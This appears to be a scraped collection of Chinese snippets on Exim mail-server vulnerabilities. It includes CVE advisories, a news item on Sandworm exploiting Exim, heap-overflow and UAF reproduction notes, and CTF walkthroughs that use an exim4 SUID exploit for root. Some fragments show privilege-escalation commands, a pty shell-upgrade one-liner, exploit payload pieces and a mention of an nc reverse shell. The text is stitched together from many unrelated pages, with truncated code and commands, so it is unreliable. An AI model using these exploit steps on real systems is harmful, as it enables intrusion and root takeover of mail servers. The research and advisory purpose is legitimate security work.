Exim远程命令执行漏洞 2018年2月5日,有安全研究人员向Exim报告了4.90.1之前版本的Exim SMTP Mail Server存在一个缓冲区溢出漏洞,对应CVE编号:CVE-2018-...6789,通过对该漏洞的利用可能实现远程命令执行效果,2月10日,Exim发布了补丁和安全公告,相关信息链接: https://exim.org/static/doc/security/CVE-2018...-2018-6789-en/ 根据公告,缓冲区溢出通过base64() 函数的调用触发,是一个内存越界读的堆溢出漏洞,针对Debian和Ubuntu上实际运行Exim SMTP Mail Server...网络上Exim部署开放情况 全球分布 通过安恒研究院sumap平台查询,全球Exim SMTP Mail Server主要分布情况如下,包含SMTP_SSL的 465端口和SMTP 25端口。...国内分布 通过安恒研究院sumap平台查询,国内Exim SMTP Mail Server主要分布情况如下,包含SMTP_SSL的 465端口和SMTP 25端口。
1/0.0.0.0/g" /etc/exim4/update-exim4.conf.conf RUN sed -i "1i\MAIN_TLS_ENABLE = yes" /etc/exim4/exim4....conf.template COPY exim.crt /etc/exim4/exim.crt COPY exim.key /etc/exim4/exim.key COPY exim_start /exim_start...RUN update-exim4.conf && chmod +x /exim_start CMD ["/exim_start"] 其中crt和key的生成脚本如下: #!...exim.crt /etc/pki/tls/certs/exim.pem COPY exim.key /etc/pki/tls/private/exim.pem COPY exim_start /exim_start...RUN chmod +x /exim_start CMD ["/exim_start"] 总结了一下我测试成功的机器: •Debian 10 exim 4.92 •ubuntu 18.04 exim
0x00 前言 Exim 是基于GPL协议的开源软件,由英国剑桥大学的Philip Hazel开发。Exim 是一个MTA(邮件传输代理) ,负责邮件的路由,转发和投递。...Exim可运行于绝大多数的类UNIX系统上,包括了Solaris、AIX、Linux等。 Exim和其他开源的MTA相比,最大的特点是配置极其灵活。...Exim的配置文件是一个文本文件,支持String Expansion技术。能够执行诸如条件判断、字符转换等功能。...Exim有许多功能,包括发送地址重写、IPV6支持、TLS/SSL支持、正则表达式(PCRE)、列表与匹配、系统级过滤器(system wide filter),SMTP批处理。...id=CVE-2024-39929 https://bugs.exim.org/show_bug.cgi?id=3099#c4
作者:Hcamael@知道创宇404实验室 发表时间:2017年12月1日 感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_bug.cgi...id=1050获取到meh的debug信息,得知启动参数: $ /usr/exim/bin/exim -bdf -d+all PoC有两个: https://bugs.exim.org/attachment.cgi...id=1049 https://bugs.exim.org/attachment.cgi?.../build-Linux-x86_64/exim这个binary是没有patch printf的代码,/usr/exim/bin/exim是patch了printf的binary 到这里就很奇怪了,加了个...In the current master, it is here: https://github.com/Exim/exim/blob/master/src/src/receive.c#L1790
感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_bug.cgi?...id=1050获取到meh的debug信息,得知启动参数: $ /usr/exim/bin/exim -bdf -d+all PoC有两个: https://bugs.exim.org/attachment.cgi.../build-Linux-x86_64/exim 这个binary是没有patch printf的代码, /usr/exim/bin/exim 是patch了printf的binary 到这里就很奇怪了...In the current master, it is here: https://github.com/Exim/exim/blob/master/src/src/receive.c#L1790...源码 https://github.com/Exim/exim.git [2]Bugzilla-2199 https://bugs.exim.org/show_bug.cgi?
虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。...: $ cat Local/makefile | grep -v "#" BIN_DIRECTORY=/usr/exim/bin CONFIGURE_FILE=/usr/exim/configure EXIM_USER...本篇的复现,都是基于只输出部分debug信息的模式: $ /usr/exim/bin/exim -bdf -dd # 输出完整debug信息使用的是-bdf -d+all # 不开启debug模式使用的是...的版本) 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证 需要有该exim的binary来计算堆偏移 需要知道exim的启动参数 参考 https://devco.re/blog/...2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
dkim_disable_verify) 1734: dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED); 1735:#endif 进入了...dkim_exim_verify_init函数,之后的大致流程: dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get...(PDKIM_MAX_BODY_LINE_LEN); bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed...在注释了dkim的配置后,在dkim_exim_verify_init 函数的流程中,执行了一个store_get 函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init...函数和dkim_exim_verify_feed 函数中,都有如下的代码: store_pool = POOL_PERM; ...... store_pool = dkim_verify_oldpool
重新复现漏洞 比上一篇分析中复现的步骤,只需要多一步,注释了 /usr/exim/configure 文件中的 control = dkim_disable_verify 然后调整下poc的padding...dkim_disable_verify) 1734: dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED); 1735:#endif 进入了...dkim_exim_verify_init 函数,之后的大致流程: dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get...在注释了dkim的配置后,在 dkim_exim_verify_init 函数的流程中,执行了一个 store_get 函数,申请了一个0x4000大小的堆,然后在 dkim_exim_verify_init...参 考 链 接 [1] https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/
虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。...: $ cat Local/makefile | grep -v "#" BIN_DIRECTORY=/usr/exim/bin CONFIGURE_FILE=/usr/exim/configure...EXIM_USER=ubuntu SPOOL_DIRECTORY=/var/spool/exim ROUTER_ACCEPT=yes ROUTER_DNSLOOKUP=yes ROUTER_IPLITERAL...本篇的复现,都是基于只输出部分debug信息的模式: $ /usr/exim/bin/exim -bdf -dd # 输出完整debug信息使用的是-bdf -d+all # 不开启debug模式使用的是...的版本) 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证 需要有该exim的binary来计算堆偏移 需要知道exim的启动参数 ?
2017-11-17) x86_64 GNU/Linux 编译环境:ldd (Debian GLIBC 2.25-3) 2.25 分析版本: $ git clone https://github.com/Exim.../exim.git $ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b 调试时下的断点: b check_helo b b64decode b.../var/spool/exim/log/%slog\x00" #由于第一次覆盖把日志文件的名字覆盖了,又重新写入 payload += 'f'*(0x2000-len(payload...最后攻击效果虽然在进程里起了bash,但是并没有弹回来shell,应该和我本地的环境有关,touch命令倒是执行成功了,调试发现,起了bash后,exim进程又把它kill了,很奇怪。...参考链接 https://paper.seebug.org/469/ https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE
当Exim服务器接受TLS连接时,攻击者发送一个以“\0”结尾的SNI请求,可能导致攻击者以root权限远程执行任意代码。Exim默认配置不开启TLS功能,但很多用户都需要启用TLS来处理网络流量。...Exim是一款邮件传输代理软件,可实现邮件的路由、转发和投递。...参考链接: http://exim.org/static/doc/security/CVE-2019-15846.txt SEE MORE → 2影响范围 受影响版本 Exim Version < 4.92.2...不受影响版本 Exim Version = 4.92.2 3漏洞检测 3.1 人工检测 使用命令“exim -bV”即可查看到当前exim版本,如果我们当前的版本在受影响列表中,即可确定存在漏洞。...4漏洞防护 4.1 官方升级 目前Exim官方已在4.92.2版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接: https://ftp.exim.org/pub/exim/exim4
近日,腾讯云安全中心监测到知名邮件代理程序 Exim 被曝存在远程代码执行漏洞 (漏洞编号:CVE-2019-10149),攻击者可利用该漏洞获取 Exim 服务器控制权。...为避免您的业务受影响,云鼎实验室建议使用到 Exim 组件的用户及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。...【影响版本】 Exim 4.87 到 4.91 版本 【安全版本】 Exim 4.87 之前版本 Exim 4.92 及 更新版本 【修复建议】 ➤注意事项: Exim 官方于 2016年4月6日发布了...➤为避免 Exim 服务器被入侵利用,云鼎实验室建议用户: 检查自身 Exim 版本号,查看是否在受影响范围; 如 Exim 为 4.8.7之前的老版本,建议自查是否手工编译启用了 EXPERIMENTAL_EVENT...配置,如未启用,则不受影响; 如 Exim 为较新版本且在受影响范围,建议及时升级更新进行防护。
据了解,受影响的邮件系统是基于Unix的系统的MTA软件——Exim mail,并且该软件默认安装在许多Linux发行版中。...至少从2019年8月开始,Sandworm就一直在利用易受攻击的Exim邮件服务器,将被黑的服务器用作目标系统上的初始感染点,并且转移到受害者网络的其他部分。...尽管相关补丁也已发布,但是许多运行Exim的计算机仍没有安装补丁,暴露在攻击威胁之下。 ?...目前,根据NSA的警告,攻击者可以利用该漏洞,在未打补丁的Exim MTA版本中增加特权用户、禁用网络安全设置、执行额外的脚本来进一步利用网络。...尽管还不清楚Sandworm的具体意图,但建议大家立即更新Exim以修复漏洞,梳理流量日志检查是否被利用,而系统管理员可以使用软件包管理器或通过从https://www.exim.org/mirrors.html
攻击机:Kali Linux 靶机环境:192.168.241.141 所用工具:nmap | sqlmap | john 0x01 知识点 SQL注入 exim提权 0x02 信息搜集 端口发现 发现...写一个python交互 :python -c 'import pty;pty.spawn("/bin/bash")' 提权 使用find命令查找具有suid权限的命令,找到一个exim4命令,exim...是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限 使用searchsploit命令搜索exim相关漏洞 然后把46996.sh拷贝到本地并改名为666.sh,并在kali开启...至此看到了flag,渗透测试结束 0x04 总结 对网页链接中带有参数保持可能存在注入的敏感性 通过注入拿到的密码需要用john进行解密 进入后台密码找到上传点,利用NC可以拿到反弹shell 发现exim
是给某个用户或者组授予执行某些命令的权限,权限在人身上 SUID是给命令赋予root用户的权限,权限在命令上 find / -perm -u=s -type f 2>/dev/null 查看exim...的版本 exim4 --version 使用searchsploit 对exim 4.89在漏洞库中查找可利用的漏洞 searchsploit exim 4.89 没有本地提权的漏洞,直接查找exim...可利用的漏洞 searchsploit exim 查看漏洞 下载脚本 切换在/var/www/html,打开apache服务 systemctl start apache2 在shell中下载 wget
删除 exim4 服务 exim4服务 开放 port :25 大家都知道这个端口做啥都吧!...systemctl stop exim4 systemctl disable exim4 apt-get purge --auto-remove exim4 exim4-base exim4-config...exim4-daemon-light rm -rf /var/log/exim4/ 删除 rpcbind 服务 rpcbind 服务 此服务开启port :111 这个端口。
exim本地提权获取Flag 随后我使用 find 命令来查找具有 SUID 权限的文件命令发现了一个 exim4: (PS:Exim是一个MTA(Mail Transfer Agent,邮件传输代理)...然后我又看了看 exim 的版本发现它的版本是 4.8.9: exim --version ?... # # A flaw was found in Exim versions 4.87 to 4.91 (inclusive).../raptor_exim_wiz -m setuid # Preparing setuid shell helper... # Delivering setuid payload... # [...]...against: # Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz] # METHOD="setuid" # default
donations.html /home/neo/workspace/public_html/mail/evolution.html /home/neo/workspace/public_html/mail/exim4...home/neo/workspace/public_html/mail/mail.format.html /home/neo/workspace/public_html/mail/mail.server.exim4.../ exim4/faq.html exim4/index.html postfix/ postfix/configure.html postfix/index.html postfix/rspamd.html...share/doc/netkiller/donations.html /usr/share/doc/netkiller/evolution.html /usr/share/doc/netkiller/exim4.../usr/share/doc/netkiller/exim4/faq.html /usr/share/doc/netkiller/exim4/index.html /usr/share/doc/netkiller
pty.spawn('/bin/bash')"//获得交互式Shell 图片.png find / -perm -4000 2>/dev/null//查找具有SUID权限的文件 图片.png exim...--version //查看exim信息 图片.png 看一下有写入权限的目录。
exim4提权 Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。...尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。 ?...sudo -l用之前的密码试了不对,发现exim4; 查看exim4当前版本号 /usr/sbin/exim4 —version ? 或者 dpkg -l | grep exim 查看包安装情况 ?
领取专属 10元无门槛券
手把手带您无忧上云